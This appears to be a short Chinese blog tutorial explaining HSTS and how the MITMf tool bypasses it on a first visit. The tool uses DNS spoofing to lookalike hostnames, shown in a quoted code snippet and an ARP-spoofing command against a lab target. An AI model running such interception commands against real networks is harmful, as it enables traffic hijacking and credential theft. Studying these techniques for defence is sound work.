HSTS简介

HSTS是HTTP Strict Transport Security的缩写,即:”HTTP严格安全传输”。当浏览器第一次访问一个HSTS站点,会跳转到https页面,并种植hsts,下次再访问此站时,只要HSTS 还在有效期中,浏览器就会响应一个 HTTP 307 头,在不经过网络请求直接本地强制http跳转到https。这样可以有效防止基于SSLStrip的中间人攻击,对于伪造的证书,会显示错误,并且不允许用户忽略警告。

一个hsts 站点响应的例子:

1
2
3
4
5
6
7
8
9
10
➜  lab  curl  -I   www.taobao.com
HTTP/1.1 302 Found
Server: Tengine
Date: Tue, 12 Apr 2016 06:18:30 GMT
Content-Type: text/html
Content-Length: 258
Connection: keep-alive
Location: https://www.taobao.com/
Set-Cookie: thw=cn; Path=/; Domain=.taobao.com; Expires=Wed, 12-Apr-17 06:18:30 GMT;
Strict-Transport-Security: max-age=31536000

bypass

mitmf 原理

用户首次访问某网站是不受HSTS保护的。这是因为首次访问时,浏览器还未收到HSTS,此时可以劫持站点绕过hsts 。
mitmf 就是利用这个缺陷绕过,当用户首次访问时,通过dns2proxy 伪造出一个具体迷惑性的http站点,例如 访问 www.taobao.com 跳转到 wwww.taobao.com 或者 访问login.taobao.com 跳转到 weblogin.taobao.com 。
具体代码 https://github.com/byt3bl33d3r/MITMf/blob/master/core/servers/DNS.py

1
2
3
4
5
6
7
8
9
10
11
12
if hsts:
if qname in hstsconfig:
response = self.hstsbypass(hstsconfig[qname], qname, nameservers, d)
return response

elif qname[:4] == 'wwww':
response = self.hstsbypass(qname[1:], qname, nameservers, d)
return response

elif qname[:3] == 'web':
response = self.hstsbypass(qname[3:], qname, nameservers, d)
return response

演示

kali执行

1
2
apt-get install  mitmf
mitmf -i eth0 --spoof --arp --hsts --gateway 10.211.55.1 --targets 10.211.55.4

ubuntu 打开 www.xxxx.com
效果

参考

MITMf https://github.com/byt3bl33d3r/MITMf